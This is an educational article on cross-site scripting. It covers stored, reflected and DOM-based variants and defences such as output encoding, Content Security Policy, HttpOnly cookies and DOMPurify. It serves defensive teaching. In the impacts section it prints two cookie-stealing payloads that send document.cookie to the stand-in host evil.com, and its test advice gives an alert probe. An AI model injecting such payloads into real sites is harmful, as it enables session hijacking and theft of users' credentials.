XSS Attack: Cross-Site Scripting

XSS is a vulnerability where attackers inject malicious scripts into pages viewed by other users.

XSS: Cross-Site Scripting

XSS (Cross-Site Scripting) is one of the most common and dangerous web security vulnerabilities. It allows attackers to inject malicious scripts into web pages viewed by other users, enabling session hijacking, credential theft, phishing overlays, and silent data exfiltration, all executing with the full trust of your domain in the victim's browser.

What Is XSS

Cross-Site Scripting occurs when a web application includes untrusted, user-supplied data in its HTML output without properly encoding or sanitising it first. An attacker exploits this by crafting input that contains JavaScript. When that input is rendered on the page without escaping, the browser has no way to distinguish it from legitimate script and executes it. Because the script runs in the context of the trusted website, it has access to everything that site's JavaScript can access, including cookies, localStorage, form fields, and the DOM.

The name "Cross-Site Scripting" is somewhat misleading because the attack does not necessarily involve two different sites in the way the name suggests. The term was coined early in the web's history and stuck. The defining characteristic is that attacker-controlled script runs in a victim's browser under the identity of a legitimate, trusted domain.

Types of XSS Attacks

XSS attacks fall into three categories based on how the malicious script is delivered and where it executes. Each type requires a different approach to detection and prevention.

TypeHow It WorksExamplePersistence
Stored XSSThe malicious script is saved to the server's database and rendered for every user who views the affected pageAn attacker posts a comment containing a script tag. Every user who views the comments page runs the attacker's script silently.Persistent. Affects all users until the malicious content is removed from the database.
Reflected XSSThe script is embedded in a URL parameter or form input, reflected back in the server's response, and executed when the victim loads the crafted URLA link containing ?search=<script>alert(1)</script> is sent to the victim. The server echoes the search term into the page and the script runs.Non-persistent. Only affects users who click the crafted link.
DOM-Based XSSThe attack payload never reaches the server. Client-side JavaScript reads data from an attacker-controlled source such as a URL fragment or query string and writes it directly to the DOM without sanitisation.JavaScript reads location.hash and passes it to innerHTML. The attacker crafts a URL with a malicious fragment that executes as HTML.Non-persistent. Executes entirely in the browser with no server involvement.

What Attackers Can Do with XSS

Once an attacker's script is running in the victim's browser under your domain, it has the same capabilities as any legitimate JavaScript on your page. The consequences range from embarrassing to catastrophic depending on what data and functionality your application exposes.

  • Session hijacking: Read the victim's session cookie using document.cookie and send it to the attacker's server. The attacker can then use that cookie to impersonate the victim without knowing their password.
  • Credential theft: Inject a fake login form over the real page or intercept form submission events to capture usernames and passwords as the user types them.
  • Keylogging: Attach event listeners to keyboard input fields to silently record everything the user types on the page, including sensitive form data.
  • Phishing overlays: Overlay convincing fake content such as a password reset prompt or payment form on top of the legitimate page, capturing data the user believes they are submitting to your site.
  • Cryptocurrency mining: Run computationally expensive code in the victim's browser to mine cryptocurrency using their CPU without their knowledge or consent.
  • Defacement: Modify the visual appearance of the page, replacing legitimate content with attacker-controlled content that may damage your brand or spread misinformation.
  • Malware distribution: Redirect users to a malicious site that attempts to download malware or exploit browser vulnerabilities.
Classic cookie-stealing XSS payload:
<script>
  document.location = 'https://evil.com/steal?c=' + document.cookie;
</script>
More subtle payload using an image to exfiltrate data silently:
<img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)">

How to Prevent XSS

XSS prevention requires applying defences at multiple layers. No single measure is sufficient on its own, but combining output encoding, Content Security Policy, and safe API choices eliminates the vast majority of XSS risk.

DefenceHow It Helps
Output encoding and escapingConvert special characters such as <, >, &, and " into their HTML entity equivalents before rendering user-supplied content. This is the primary and most important defence against XSS.
Content Security Policy (CSP)An HTTP response header that tells the browser which script sources are trusted and instructs it to block all others. A strict CSP prevents injected scripts from executing even if output encoding is missed somewhere.
HttpOnly cookiesSetting the HttpOnly attribute on session cookies makes them invisible to JavaScript, preventing them from being read by document.cookie even if an XSS payload executes.
Input validationReject or strip input that contains characters or patterns that have no legitimate use in the expected context, such as script tags in a name field. Validation alone is not sufficient but reduces the attack surface.
Safe DOM APIsUse textContent instead of innerHTML when inserting plain text into the DOM. textContent treats the value as a literal string rather than HTML, preventing any tags from being parsed.
Framework auto-escapingModern frameworks such as React, Vue, and Angular escape all dynamic content by default. Avoid unsafe escape hatches like dangerouslySetInnerHTML in React or v-html in Vue with any user-supplied data.
Sanitisation librariesWhen you genuinely need to allow some HTML from users, such as in a rich text editor, use a well-maintained sanitisation library like DOMPurify to strip dangerous tags and attributes while preserving safe formatting.

Content Security Policy in Practice

A Content Security Policy is one of the most powerful XSS defences available because it operates at the browser level rather than the application level. Even if a vulnerability exists in your code, a well-configured CSP can prevent injected scripts from executing at all.

Example CSP response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'

This policy tells the browser to load scripts only from the same origin and one trusted CDN, block all plugins and embedded objects, and prevent base tag hijacking. Any inline script or script from an unlisted source will be blocked and reported. Starting with a restrictive policy and gradually adding exceptions for legitimate resources is the recommended approach.

DOM-Based XSS: Safe and Unsafe APIs

DOM-based XSS is distinct from reflected and stored XSS because the server is not involved in the attack. The vulnerability lies entirely in client-side JavaScript that handles untrusted data carelessly. Knowing which APIs are safe to use with user-controlled data is essential for any frontend developer.

OperationUnsafe (XSS risk)Safe Alternative
Insert text into an elementelement.innerHTML = userInputelement.textContent = userInput
Insert HTML from a trusted sourceDirect innerHTML assignmentelement.innerHTML = DOMPurify.sanitize(userInput)
Create an element from a stringdocument.write(userInput)Use createElement and textContent
Set a link hreflink.href = userInput (allows javascript: URLs)Validate the URL scheme before assignment
Evaluate dynamic codeeval(userInput)Avoid eval entirely. Restructure the logic.

Frequently Asked Questions

  1. Does HTTPS prevent XSS?
    No. HTTPS encrypts the connection between the browser and the server, which protects data in transit from interception. It has no effect on code that executes within the browser after the page has loaded. An XSS payload runs entirely inside the victim's browser regardless of whether the connection was encrypted. HTTPS and XSS prevention address completely different threats and both are necessary independently.
  2. What is a Content Security Policy and how do I start using one?
    A Content Security Policy is an HTTP response header that instructs the browser to enforce restrictions on which resources can be loaded and which scripts can execute. The simplest starting point is a report-only policy that logs violations without blocking anything, which lets you see what a strict policy would affect before enabling enforcement. Set Content-Security-Policy-Report-Only first, monitor the reports, adjust the policy to allow your legitimate resources, then switch to Content-Security-Policy to begin enforcement.
  3. Can XSS affect React or Vue applications?
    React and Vue escape all dynamic content by default, which provides strong XSS protection for the vast majority of use cases. The risk emerges when developers use the deliberate escape hatches these frameworks provide: dangerouslySetInnerHTML in React and v-html in Vue. Both allow raw HTML to be inserted without escaping. If the HTML comes from user input or any untrusted source without sanitisation through a library like DOMPurify, an XSS vulnerability exists. Treat these APIs as you would raw database access: powerful, necessary in specific cases, and requiring careful handling.
  4. What is the difference between XSS and CSRF?
    XSS and CSRF are both web attacks but they work differently and exploit different weaknesses. XSS injects malicious code into a page and runs it in the victim's browser under your site's identity, giving the attacker control over what the victim sees and does on your site. CSRF (Cross-Site Request Forgery) tricks the victim's browser into making a request to your site from a different site, exploiting the fact that the browser automatically includes cookies with same-origin requests. XSS can be used to bypass CSRF protections by reading CSRF tokens from the page, making XSS prevention foundational to overall security.
  5. How can I test my site for XSS vulnerabilities?
    Several approaches help identify XSS vulnerabilities. Manual testing involves entering common payloads such as <script>alert(1)</script> into every input field, URL parameter, and form to see if they are reflected without escaping. Automated scanners such as OWASP ZAP and Burp Suite can systematically test input points and identify common vulnerabilities. For DOM-based XSS, browser developer tools and code review of client-side JavaScript that handles URL parameters, hash fragments, or other user-controlled inputs are the most effective approach. Running a Content Security Policy in report-only mode can also surface unexpected script execution that indicates a vulnerability.

Conclusion

XSS is a critical and pervasive vulnerability that can compromise user accounts, steal sensitive data, and undermine the integrity of your entire application. Consistent output encoding is the foundational defence and must be applied to every piece of user-supplied data before it is rendered in HTML. A Content Security Policy provides a safety net at the browser level that can contain damage even when encoding is missed. HttpOnly cookies limit the impact of a successful attack by protecting session tokens from JavaScript access. Safe DOM APIs and automatic framework escaping complete the defence for client-side code. None of these measures alone is sufficient, but applied together they eliminate the vast majority of XSS risk. Pair this knowledge with CSRF prevention, SQL injection prevention, and CORS for a comprehensive web security foundation.